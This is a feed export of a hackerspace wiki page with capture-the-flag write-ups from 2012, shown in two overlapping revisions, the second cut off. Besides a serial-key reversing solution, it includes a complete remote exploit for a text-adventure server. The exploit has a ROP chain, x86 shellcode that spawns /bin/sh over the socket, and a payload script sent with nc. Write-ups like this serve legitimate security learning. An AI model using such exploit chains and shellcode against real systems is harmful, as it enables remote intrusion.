		<summary type="html">&lt;p&gt;Corecode: /* #3 Hackquest */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== #1 TelAviv ==&lt;br /&gt;
&lt;br /&gt;
What is the password? ([[Media:7139a4ea239dcac655f7c38ca6a77b61.bin|File]])&amp;lt;br&amp;gt;&lt;br /&gt;
Hint: TeLaViv+ is a packet forensics challenge.&lt;br /&gt;
&lt;br /&gt;
== #2 AL's Revenge ==&lt;br /&gt;
&lt;br /&gt;
* file 49dd327824d5afe9cdf931ea4b13719f.bin says xz compressed file -&amp;gt; xzcat &amp;gt; f&lt;br /&gt;
* file f says LLVM bitcode -&amp;gt; llvm-dis &amp;gt; f.s (only works with LLVM 2.8, not with 3.0)&lt;br /&gt;
* analyze disassembly, extract C representation:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int&lt;br /&gt;
VerifySerial(uint64_t name, uint64_t serial)&lt;br /&gt;
{&lt;br /&gt;
	uint64_t a = 0x8000000000000000LL;&lt;br /&gt;
        uint64_t b = 0xa348fccd93aea5a7LL;&lt;br /&gt;
	uint64_t result = 0;&lt;br /&gt;
&lt;br /&gt;
	/* high order bit set? */&lt;br /&gt;
	if (name &amp;amp; a)&lt;br /&gt;
		a ^= b;&lt;br /&gt;
&lt;br /&gt;
	if (serial &amp;amp; a)&lt;br /&gt;
		serial ^= b;&lt;br /&gt;
&lt;br /&gt;
	while (serial != 0) {&lt;br /&gt;
		if (serial &amp;amp; 1)&lt;br /&gt;
			result ^= name;&lt;br /&gt;
&lt;br /&gt;
		serial &amp;gt;&amp;gt;= 1;&lt;br /&gt;
		name &amp;lt;&amp;lt;= 1;&lt;br /&gt;
&lt;br /&gt;
		if (name &amp;amp; a)&lt;br /&gt;
			name ^= b;&lt;br /&gt;
	}H&lt;br /&gt;
&lt;br /&gt;
	return (result == 1);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* it looks like a multiplication over a galois field, with the irreducible polynomial 0x1a348fccd93aea5a7 (note leading bit not in C), but it actually isn't, because the high bit gets checked after the shift, not before.&lt;br /&gt;
* lacking math knowledge and math package fu, decided to treat the problem as a linear equation system:&lt;br /&gt;
* The shifting and xoring produces a set of integers, call them name_i.  If the serial bit s_i is set, name_i gets added to the result.  So you can roughly say r = N * s, with r being the result vector, s the serial vector and N the names matrix.&lt;br /&gt;
* lacking math package fu, implement a gaussian elimination manually:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
class Numeric&lt;br /&gt;
  def bits64&lt;br /&gt;
    sprintf(&amp;quot;%064b&amp;quot;, self).each_char.map{|c| c == &amp;quot;0&amp;quot; ? 0 : 1}&lt;br /&gt;
  end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
def names(name)&lt;br /&gt;
  p = 0xa348fccd93aea5a7&lt;br /&gt;
&lt;br /&gt;
  if (name &amp;gt;&amp;gt; 63) &amp;amp; 1 == 1&lt;br /&gt;
    name ^= p&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  ([name] + 63.times.map do |i|&lt;br /&gt;
    name &amp;lt;&amp;lt;= 1&lt;br /&gt;
    if (name &amp;gt;&amp;gt; 63) &amp;amp; 1 == 1&lt;br /&gt;
      name ^= p&lt;br /&gt;
    end&lt;br /&gt;
    name&lt;br /&gt;
  end).map(&amp;amp;:bits64)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
class Array&lt;br /&gt;
  def pivot&lt;br /&gt;
    res = []&lt;br /&gt;
    self[0].size.times.map do |i|&lt;br /&gt;
      self.size.times.map do |j|&lt;br /&gt;
        self[j][i]&lt;br /&gt;
      end&lt;br /&gt;
    end&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def bitary_to_int&lt;br /&gt;
    self.join.to_i(2)&lt;br /&gt;
  end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
class Eq &amp;lt; Array&lt;br /&gt;
  attr_accessor :res&lt;br /&gt;
&lt;br /&gt;
  def initialize(ary, res)&lt;br /&gt;
    self.replace(ary)&lt;br /&gt;
    @res = res&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def lead_zero&lt;br /&gt;
    self.take_while{|e| e == 0}&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def first_pos&lt;br /&gt;
    self.index(1)&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def subtract(o)&lt;br /&gt;
    Eq.new(self.zip(o).map{|aa, bb| aa ^ bb}, @res ^ o.res)&lt;br /&gt;
  end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
class EqSys &amp;lt; Array&lt;br /&gt;
  def initialize(ary, res=nil)&lt;br /&gt;
    if !(Eq === ary[0]) &amp;amp;&amp;amp; !ary.empty?&lt;br /&gt;
      ary = ary.zip(res).map{|a, r| Eq.new(a, r)}&lt;br /&gt;
    end&lt;br /&gt;
    self.replace(ary)&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def sort_by_zeros&lt;br /&gt;
    self.sort do |a, b|&lt;br /&gt;
      a.lead_zero &amp;lt;=&amp;gt; b.lead_zero&lt;br /&gt;
    end&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def subtract_eq(eq)&lt;br /&gt;
    pos = eq.first_pos&lt;br /&gt;
    return self if not pos&lt;br /&gt;
    EqSys.new(self.map{|e| e[pos] == 1 ? e.subtract(eq) : e})&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def elim&lt;br /&gt;
    front = EqSys.new([])&lt;br /&gt;
    cur = nil&lt;br /&gt;
    rest = self.sort_by_zeros&lt;br /&gt;
    while not rest.empty?&lt;br /&gt;
      front &amp;lt;&amp;lt; cur if cur&lt;br /&gt;
      cur = rest.shift&lt;br /&gt;
&lt;br /&gt;
      front = front.subtract_eq(cur)&lt;br /&gt;
      rest = rest.subtract_eq(cur)&lt;br /&gt;
      rest = rest.sort_by_zeros&lt;br /&gt;
    end&lt;br /&gt;
    front &amp;lt;&amp;lt; cur&lt;br /&gt;
&lt;br /&gt;
    front&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def to_s&lt;br /&gt;
    self.map{|e| e.map(&amp;amp;:to_s).join + &amp;quot; = #{e.res}&amp;quot;}.join(&amp;quot;\n&amp;quot;)&lt;br /&gt;
  end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
require 'pp'&lt;br /&gt;
if __FILE__ == $0&lt;br /&gt;
  ns = names(0x6638623261336134)&lt;br /&gt;
&lt;br /&gt;
  pv = ns.pivot&lt;br /&gt;
  es = EqSys.new(pv, 1.bits64)&lt;br /&gt;
&lt;br /&gt;
  puts es.to_s&lt;br /&gt;
  puts&lt;br /&gt;
&lt;br /&gt;
  r = es.elim&lt;br /&gt;
  puts r.to_s&lt;br /&gt;
&lt;br /&gt;
  res = r.map{|e| e.res}.reverse&lt;br /&gt;
  puts res.bitary_to_int.to_s(16)&lt;br /&gt;
&lt;br /&gt;
  s0 = r.pivot.last.reverse&lt;br /&gt;
  puts s0.bitary_to_int.to_s(16)&lt;br /&gt;
  puts (res.bitary_to_int^s0.bitary_to_int).to_s(16)&lt;br /&gt;
end&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== #3 Hackquest ==&lt;br /&gt;
&lt;br /&gt;
* Remote system running some sort of text adventure.&lt;br /&gt;
* Hint dropped source code partially (extremely helpful)&lt;br /&gt;
* Hint from irc: look at the items&lt;br /&gt;
* struct ItemInfo contains a union:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
union&lt;br /&gt;
{&lt;br /&gt;
        void* data;&lt;br /&gt;
        LocationInfo* newLocation;&lt;br /&gt;
        struct ItemInfo* newItem;&lt;br /&gt;
        struct&lt;br /&gt;
        {&lt;br /&gt;
                ActionInfo* actionInfo;&lt;br /&gt;
                char* requiredTarget;&lt;br /&gt;
        } action;&lt;br /&gt;
        struct&lt;br /&gt;
        {&lt;br /&gt;
                char* name;&lt;br /&gt;
                struct ItemInfo* newItem;&lt;br /&gt;
        } namedUnwrap;&lt;br /&gt;
} info;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* magical item:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
{&amp;quot;a&amp;quot;, &amp;quot;letter addressed to %s&amp;quot;, &amp;quot;...&amp;quot;, NULL, ITEM_NAMED_UNWRAP, {.namedUnwrap = {name, &amp;amp;passwordItem}}}, {NULL, NULL, NULL, NULL, 0, {NULL}}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* use() has an insufficient test:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
if ((item-&amp;gt;type == ITEM_PERFORM_ACTION) || (item-&amp;gt;type == ITEM_MOVE_TO_LOCATION) ||&lt;br /&gt;
    (item-&amp;gt;type == ITEM_UNWRAP))&lt;br /&gt;
{&lt;br /&gt;
        sendMsg(s, &amp;quot;That item can't have a target.\n&amp;quot;);&lt;br /&gt;
        ok = false;&lt;br /&gt;
}&lt;br /&gt;
else if (!strcasecmp(item-&amp;gt;info.action.requiredTarget, target))&lt;br /&gt;
{&lt;br /&gt;
        sendMsg(s, item-&amp;gt;message);&lt;br /&gt;
        item-&amp;gt;info.action.actionInfo-&amp;gt;func(s);&lt;br /&gt;
        showDesc = item-&amp;gt;info.action.actionInfo-&amp;gt;showDesc;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* if we &amp;quot;use letter on $target&amp;quot;, we can make it call -&amp;gt;func()&lt;br /&gt;
* .requiredTarget aliases with .newItem, which in turn contains a set of pointers, all static -&amp;gt; $target is known&lt;br /&gt;
* -&amp;gt;func aliases with .name&lt;br /&gt;
* the game asks us for our name, and stores this into a 31 byte static buffer&lt;br /&gt;
* whatever we use as name will be used as function address to be called -&amp;gt; we captured control flow&lt;br /&gt;
* ROP ensues:&lt;br /&gt;
* first gadged: pivot stack pointer to area we control (the 256 byte cmd buffer in handleConnection)&lt;br /&gt;
* then mmap an anonymous page RWX to a fixed location -&amp;gt; memory we can write to and run code from, we choose the offset&lt;br /&gt;
* our data is on the stack, which is likely on a random offset -&amp;gt; need to move data from stack buffer to page&lt;br /&gt;
* work around this problem by putting bootstrap shellcode into the static name buffer (see above)&lt;br /&gt;
* bootstrap code copies stack-relative buffer to our page, then transfers control:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	leal	0x41(%esp),%esi	# calc source from stack offset&lt;br /&gt;
	popl	%edi		# dest addr is already on stack&lt;br /&gt;
	pushl	$0x41		# dest offset so that we don't get overwritten&lt;br /&gt;
	popl	%ecx		# duplicates as length&lt;br /&gt;
	addl	%ecx,%edi	# add offset&lt;br /&gt;
	push	%edi		# store dest for later&lt;br /&gt;
	rep	movsl		# copy&lt;br /&gt;
	popl	%edi		# retrieve old dest&lt;br /&gt;
	jmp	*%edi		# jump there&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* remaining shell code takes socket fd from fixed stack offset and dup2()s to 0, 1, 2, then spawns /bin/sh:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	pushl	%ecx		# ecx was cleared by rep above, put 0 on stack&lt;br /&gt;
	movl	0xAB(%esp),%ebx	# get socket fd from stack offset&lt;br /&gt;
1:	&lt;br /&gt;
	pushl	$0x3f		# dup2 syscall number&lt;br /&gt;
	popl	%eax		# into eax&lt;br /&gt;
	int	$0x80		# do syscall&lt;br /&gt;
	inc	%ecx		# inc desc2&lt;br /&gt;
	cmp	$0x3,%cl	# do for 0, 1, 2&lt;br /&gt;
	jne	1b		# repeat&lt;br /&gt;
&lt;br /&gt;
	popl	%ecx		# zero ecx = argv&lt;br /&gt;
	mull	%ecx		# zero eax, edx = env&lt;br /&gt;
        pushl	$0x0068732f	# /sh\0&lt;br /&gt;
        pushl   $0x6e69622f	# /bin&lt;br /&gt;
	movl	%esp,%ebx	# string arg&lt;br /&gt;
	movb	$0xb,%al	# execve syscall number&lt;br /&gt;
	int	$0x80		# magic!&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* cat key.txt&lt;br /&gt;
&lt;br /&gt;
* all combined, use as (ruby h.rb; cat) | nc host 7331&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
addr = 0x60606000               # our page address&lt;br /&gt;
src = 0x804c2a0                 # from 0x80498f4&lt;br /&gt;
&lt;br /&gt;
sockoffset = 0xbc&lt;br /&gt;
&lt;br /&gt;
p = [&lt;br /&gt;
     # offset 0&lt;br /&gt;
     &amp;quot;use letter on &amp;quot;,&lt;br /&gt;
     # offset 14&lt;br /&gt;
     0x804a22e, 0x804a2bc, 0x804a2de, 0x804c20c, [0x02, 0x00],&lt;br /&gt;
     # offset 31&lt;br /&gt;
     &amp;quot; &amp;quot; * (0x44 - 32),           # fill&lt;br /&gt;
     # offset 0x44&lt;br /&gt;
     0x80486d4,          # C mmap&lt;br /&gt;
     0x8048db5,          # L add $0x1c,%esp | ret&lt;br /&gt;
     addr,               # (void *addr,&lt;br /&gt;
     4096,               #  size_t len,&lt;br /&gt;
     1 | 2 | 4,          #  int prot = PROT_READ | PROT_WRITE | PROT_EXEC,&lt;br /&gt;
     0x10 | 0x02 | 0x20, #  int flags = MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,&lt;br /&gt;
     0,                  #  int filedes,&lt;br /&gt;
     0,                  #  off_t off)&lt;br /&gt;
     0,                  # filler, also possibly offset&lt;br /&gt;
     0x80487d4,          # C memcpy&lt;br /&gt;
     addr,               # L addr = shellcode&lt;br /&gt;
     addr,               # (void *dest,&lt;br /&gt;
     src + 4,            #  const void *src,&lt;br /&gt;
     200,                #  size_t n).&lt;br /&gt;
     &lt;br /&gt;
     [&lt;br /&gt;
      0x51,                         # pushl  %ecx    # ecx was cleared by rep above, put 0 on stack&lt;br /&gt;
      0x8b, 0x9c, 0x24], sockoffset, # movl  XXX(%esp),%ebx   # get socket fd from stack offset&lt;br /&gt;
     [0x6a, 0x3f,                   # 1: pushl $0x3f # dup2 syscall number&lt;br /&gt;
      0x58,                         # popl  %eax     # into eax&lt;br /&gt;
      0xcd, 0x80,                   # int   $0x80    # do syscall&lt;br /&gt;
      0x41,                         # inc   %ecx     # inc desc2&lt;br /&gt;
      0x80, 0xf9, 0x03,             # cmp   $0x3,%cl # do for 0, 1, 2&lt;br /&gt;
      0x75, 0xf5,                   # jne   1b       # repeat&lt;br /&gt;
&lt;br /&gt;
      0x59,       # popl  %ecx  # zero ecx = argv&lt;br /&gt;
      0xf7, 0xe1, # mull  %ecx  # zero eax, edx = env&lt;br /&gt;
      0x68, 0x2f, 0x73, 0x68, 0x00, # pushl  0x0068732f  # /sh\0&lt;br /&gt;
      0x68, 0x2f, 0x62, 0x69, 0x6e, # pushl  0x6e69622f  # /bin&lt;br /&gt;
      0x89, 0xe3, # movl  %esp,%ebx  # string arg&lt;br /&gt;
      0xb0, 0x0b, # movb  $0xb,%al   # execve syscall number&lt;br /&gt;
      0xcd, 0x80  # int	$0x80        # magic!&lt;br /&gt;
     ]&lt;br /&gt;
    ]&lt;br /&gt;
&lt;br /&gt;
shellcode = 0xc&lt;br /&gt;
&lt;br /&gt;
# this lives at src&lt;br /&gt;
namelen = 20&lt;br /&gt;
name = [&lt;br /&gt;
        # stack pivot&lt;br /&gt;
        0x08049019,              # add $0x9c,%esp | ret&lt;br /&gt;
&lt;br /&gt;
        # bootstrap shellcode&lt;br /&gt;
        [&lt;br /&gt;
         0x8d, 0x74, 0x24, shellcode, # leal XXX(%esp),%esi&lt;br /&gt;
         0x5f,                    # popl  %edi&lt;br /&gt;
         0x6a, namelen,           # pushl $XXX&lt;br /&gt;
         0x59,                    # popl  %ecx&lt;br /&gt;
         0x01, 0xcf,              # addl  %ecx,%edi&lt;br /&gt;
         0x57,                    # push  %edi&lt;br /&gt;
         0xf3, 0xa5,              # rep movsl&lt;br /&gt;
         0x5f,                    # popl  %edi&lt;br /&gt;
         0xff, 0xe7,              # jmp   *%edi&lt;br /&gt;
        ],&lt;br /&gt;
       ]&lt;br /&gt;
&lt;br /&gt;
all = name +&lt;br /&gt;
  [&lt;br /&gt;
   &amp;quot;\n&amp;quot;,&lt;br /&gt;
   &amp;quot;get can\n&amp;quot;,&lt;br /&gt;
   &amp;quot;use can\n&amp;quot;,&lt;br /&gt;
   &amp;quot;go south\n&amp;quot;,&lt;br /&gt;
   &amp;quot;get letter\n&amp;quot;,&lt;br /&gt;
  ] +&lt;br /&gt;
  p + [&amp;quot;\n&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
def collapse(a)&lt;br /&gt;
  a.map do |e|&lt;br /&gt;
    case e&lt;br /&gt;
    when Numeric&lt;br /&gt;
      [e].pack(&amp;quot;V&amp;quot;)&lt;br /&gt;
    when Array&lt;br /&gt;
      e.pack('C*')&lt;br /&gt;
    else&lt;br /&gt;
      e.to_s&lt;br /&gt;
    end&lt;br /&gt;
  end.join&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
if __FILE__ == $0&lt;br /&gt;
  cp = collapse(all)&lt;br /&gt;
  # puts cp.size&lt;br /&gt;
  print cp&lt;br /&gt;
end&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Gits2012teaser&amp;diff=1349</id>
		<title>Gits2012teaser</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Gits2012teaser&amp;diff=1349"/>
				<updated>2012-01-08T13:10:16Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: /* #3 Hackquest */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== #1 TelAviv ==&lt;br /&gt;
&lt;br /&gt;
What is the password? ([[Media:7139a4ea239dcac655f7c38ca6a77b61.bin|File]])&amp;lt;br&amp;gt;&lt;br /&gt;
Hint: TeLaViv+ is a packet forensics challenge.&lt;br /&gt;
&lt;br /&gt;
== #2 AL's Revenge ==&lt;br /&gt;
&lt;br /&gt;
* file 49dd327824d5afe9cdf931ea4b13719f.bin says xz compressed file -&amp;gt; xzcat &amp;gt; f&lt;br /&gt;
* file f says LLVM bitcode -&amp;gt; llvm-dis &amp;gt; f.s (only works with LLVM 2.8, not with 3.0)&lt;br /&gt;
* analyze disassembly, extract C representation:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int&lt;br /&gt;
VerifySerial(uint64_t name, uint64_t serial)&lt;br /&gt;
{&lt;br /&gt;
	uint64_t a = 0x8000000000000000LL;&lt;br /&gt;
        uint64_t b = 0xa348fccd93aea5a7LL;&lt;br /&gt;
	uint64_t result = 0;&lt;br /&gt;
&lt;br /&gt;
	/* high order bit set? */&lt;br /&gt;
	if (name &amp;amp; a)&lt;br /&gt;
		a ^= b;&lt;br /&gt;
&lt;br /&gt;
	if (serial &amp;amp; a)&lt;br /&gt;
		serial ^= b;&lt;br /&gt;
&lt;br /&gt;
	while (serial != 0) {&lt;br /&gt;
		if (serial &amp;amp; 1)&lt;br /&gt;
			result ^= name;&lt;br /&gt;
&lt;br /&gt;
		serial &amp;gt;&amp;gt;= 1;&lt;br /&gt;
		name &amp;lt;&amp;lt;= 1;&lt;br /&gt;
&lt;br /&gt;
		if (name &amp;amp; a)&lt;br /&gt;
			name ^= b;&lt;br /&gt;
	}H&lt;br /&gt;
&lt;br /&gt;
	return (result == 1);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* it looks like a multiplication over a galois field, with the irreducible polynomial 0x1a348fccd93aea5a7 (note leading bit not in C), but it actually isn't, because the high bit gets checked after the shift, not before.&lt;br /&gt;
* lacking math knowledge and math package fu, decided to treat the problem as a linear equation system:&lt;br /&gt;
* The shifting and xoring produces a set of integers, call them name_i.  If the serial bit s_i is set, name_i gets added to the result.  So you can roughly say r = N * s, with r being the result vector, s the serial vector and N the names matrix.&lt;br /&gt;
* lacking math package fu, implement a gaussian elimination manually:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
class Numeric&lt;br /&gt;
  def bits64&lt;br /&gt;
    sprintf(&amp;quot;%064b&amp;quot;, self).each_char.map{|c| c == &amp;quot;0&amp;quot; ? 0 : 1}&lt;br /&gt;
  end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
def names(name)&lt;br /&gt;
  p = 0xa348fccd93aea5a7&lt;br /&gt;
&lt;br /&gt;
  if (name &amp;gt;&amp;gt; 63) &amp;amp; 1 == 1&lt;br /&gt;
    name ^= p&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  ([name] + 63.times.map do |i|&lt;br /&gt;
    name &amp;lt;&amp;lt;= 1&lt;br /&gt;
    if (name &amp;gt;&amp;gt; 63) &amp;amp; 1 == 1&lt;br /&gt;
      name ^= p&lt;br /&gt;
    end&lt;br /&gt;
    name&lt;br /&gt;
  end).map(&amp;amp;:bits64)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
class Array&lt;br /&gt;
  def pivot&lt;br /&gt;
    res = []&lt;br /&gt;
    self[0].size.times.map do |i|&lt;br /&gt;
      self.size.times.map do |j|&lt;br /&gt;
        self[j][i]&lt;br /&gt;
      end&lt;br /&gt;
    end&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def bitary_to_int&lt;br /&gt;
    self.join.to_i(2)&lt;br /&gt;
  end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
class Eq &amp;lt; Array&lt;br /&gt;
  attr_accessor :res&lt;br /&gt;
&lt;br /&gt;
  def initialize(ary, res)&lt;br /&gt;
    self.replace(ary)&lt;br /&gt;
    @res = res&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def lead_zero&lt;br /&gt;
    self.take_while{|e| e == 0}&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def first_pos&lt;br /&gt;
    self.index(1)&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def subtract(o)&lt;br /&gt;
    Eq.new(self.zip(o).map{|aa, bb| aa ^ bb}, @res ^ o.res)&lt;br /&gt;
  end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
class EqSys &amp;lt; Array&lt;br /&gt;
  def initialize(ary, res=nil)&lt;br /&gt;
    if !(Eq === ary[0]) &amp;amp;&amp;amp; !ary.empty?&lt;br /&gt;
      ary = ary.zip(res).map{|a, r| Eq.new(a, r)}&lt;br /&gt;
    end&lt;br /&gt;
    self.replace(ary)&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def sort_by_zeros&lt;br /&gt;
    self.sort do |a, b|&lt;br /&gt;
      a.lead_zero &amp;lt;=&amp;gt; b.lead_zero&lt;br /&gt;
    end&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def subtract_eq(eq)&lt;br /&gt;
    pos = eq.first_pos&lt;br /&gt;
    return self if not pos&lt;br /&gt;
    EqSys.new(self.map{|e| e[pos] == 1 ? e.subtract(eq) : e})&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def elim&lt;br /&gt;
    front = EqSys.new([])&lt;br /&gt;
    cur = nil&lt;br /&gt;
    rest = self.sort_by_zeros&lt;br /&gt;
    while not rest.empty?&lt;br /&gt;
      front &amp;lt;&amp;lt; cur if cur&lt;br /&gt;
      cur = rest.shift&lt;br /&gt;
&lt;br /&gt;
      front = front.subtract_eq(cur)&lt;br /&gt;
      rest = rest.subtract_eq(cur)&lt;br /&gt;
      rest = rest.sort_by_zeros&lt;br /&gt;
    end&lt;br /&gt;
    front &amp;lt;&amp;lt; cur&lt;br /&gt;
&lt;br /&gt;
    front&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def to_s&lt;br /&gt;
    self.map{|e| e.map(&amp;amp;:to_s).join + &amp;quot; = #{e.res}&amp;quot;}.join(&amp;quot;\n&amp;quot;)&lt;br /&gt;
  end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
require 'pp'&lt;br /&gt;
if __FILE__ == $0&lt;br /&gt;
  ns = names(0x6638623261336134)&lt;br /&gt;
&lt;br /&gt;
  pv = ns.pivot&lt;br /&gt;
  es = EqSys.new(pv, 1.bits64)&lt;br /&gt;
&lt;br /&gt;
  puts es.to_s&lt;br /&gt;
  puts&lt;br /&gt;
&lt;br /&gt;
  r = es.elim&lt;br /&gt;
  puts r.to_s&lt;br /&gt;
&lt;br /&gt;
  res = r.map{|e| e.res}.reverse&lt;br /&gt;
  puts res.bitary_to_int.to_s(16)&lt;br /&gt;
&lt;br /&gt;
  s0 = r.pivot.last.reverse&lt;br /&gt;
  puts s0.bitary_to_int.to_s(16)&lt;br /&gt;
  puts (res.bitary_to_int^s0.bitary_to_int).to_s(16)&lt;br /&gt;
end&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== #3 Hackquest ==&lt;br /&gt;
&lt;br /&gt;
* Remote system running some sort of text adventure.&lt;br /&gt;
* Hint dropped source code partially (extremely helpful)&lt;br /&gt;
* Hint from irc: look at the items&lt;br /&gt;
* struct ItemInfo contains a union:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
union&lt;br /&gt;
{&lt;br /&gt;
        void* data;&lt;br /&gt;
        LocationInfo* newLocation;&lt;br /&gt;
        struct ItemInfo* newItem;&lt;br /&gt;
        struct&lt;br /&gt;
        {&lt;br /&gt;
                ActionInfo* actionInfo;&lt;br /&gt;
                char* requiredTarget;&lt;br /&gt;
        } action;&lt;br /&gt;
        struct&lt;br /&gt;
        {&lt;br /&gt;
                char* name;&lt;br /&gt;
                struct ItemInfo* newItem;&lt;br /&gt;
        } namedUnwrap;&lt;br /&gt;
} info;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* use() has an insufficient test:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
if ((item-&amp;gt;type == ITEM_PERFORM_ACTION) || (item-&amp;gt;type == ITEM_MOVE_TO_LOCATION) ||&lt;br /&gt;
    (item-&amp;gt;type == ITEM_UNWRAP))&lt;br /&gt;
{&lt;br /&gt;
        sendMsg(s, &amp;quot;That item can't have a target.\n&amp;quot;);&lt;br /&gt;
        ok = false;&lt;br /&gt;
}&lt;br /&gt;
else if (!strcasecmp(item-&amp;gt;info.action.requiredTarget, target))&lt;br /&gt;
{&lt;br /&gt;
        sendMsg(s, item-&amp;gt;message);&lt;br /&gt;
        item-&amp;gt;info.action.actionInfo-&amp;gt;func(s);&lt;br /&gt;
        showDesc = item-&amp;gt;info.action.actionInfo-&amp;gt;showDesc;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* if we &amp;quot;use letter on $target&amp;quot;, we can make it call -&amp;gt;func()&lt;br /&gt;
* .requiredTarget aliases with .newItem, which in turn contains a set of pointers, all static -&amp;gt; $target is known&lt;br /&gt;
* -&amp;gt;func aliases with .name&lt;br /&gt;
* the game asks us for our name, and stores this into a 31 byte static buffer&lt;br /&gt;
* whatever we use as name will be used as function address to be called -&amp;gt; we captured control flow&lt;br /&gt;
* ROP ensues:&lt;br /&gt;
* first gadged: pivot stack pointer to area we control (the 256 byte cmd buffer in handleConnection)&lt;br /&gt;
* then mmap an anonymous page RWX to a fixed location -&amp;gt; memory we can write to and run code from, we choose the offset&lt;br /&gt;
* our data is on the stack, which is likely on a random offset -&amp;gt; need to move data from stack buffer to page&lt;br /&gt;
* work around this problem by putting bootstrap shellcode into the static name buffer (see above)&lt;br /&gt;
* bootstrap code copies stack-relative buffer to our page, then transfers control:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	leal	0x41(%esp),%esi	# calc source from stack offset&lt;br /&gt;
	popl	%edi		# dest addr is already on stack&lt;br /&gt;
	pushl	$0x41		# dest offset so that we don't get overwritten&lt;br /&gt;
	popl	%ecx		# duplicates as length&lt;br /&gt;
	addl	%ecx,%edi	# add offset&lt;br /&gt;
	push	%edi		# store dest for later&lt;br /&gt;
	rep	movsl		# copy&lt;br /&gt;
	popl	%edi		# retrieve old dest&lt;br /&gt;
	jmp	*%edi		# jump there&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* remaining shell code takes socket fd from fixed stack offset and dup2()s to 0, 1, 2, then spawns /bin/sh:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	pushl	%ecx		# ecx was cleared by rep above, put 0 on stack&lt;br /&gt;
	movl	0xAB(%esp),%ebx	# get socket fd from stack offset&lt;br /&gt;
1:	&lt;br /&gt;
	pushl	$0x3f		# dup2 syscall number&lt;br /&gt;
	popl	%eax		# into eax&lt;br /&gt;
	int	$0x80		# do syscall&lt;br /&gt;
	inc	%ecx		# inc desc2&lt;br /&gt;
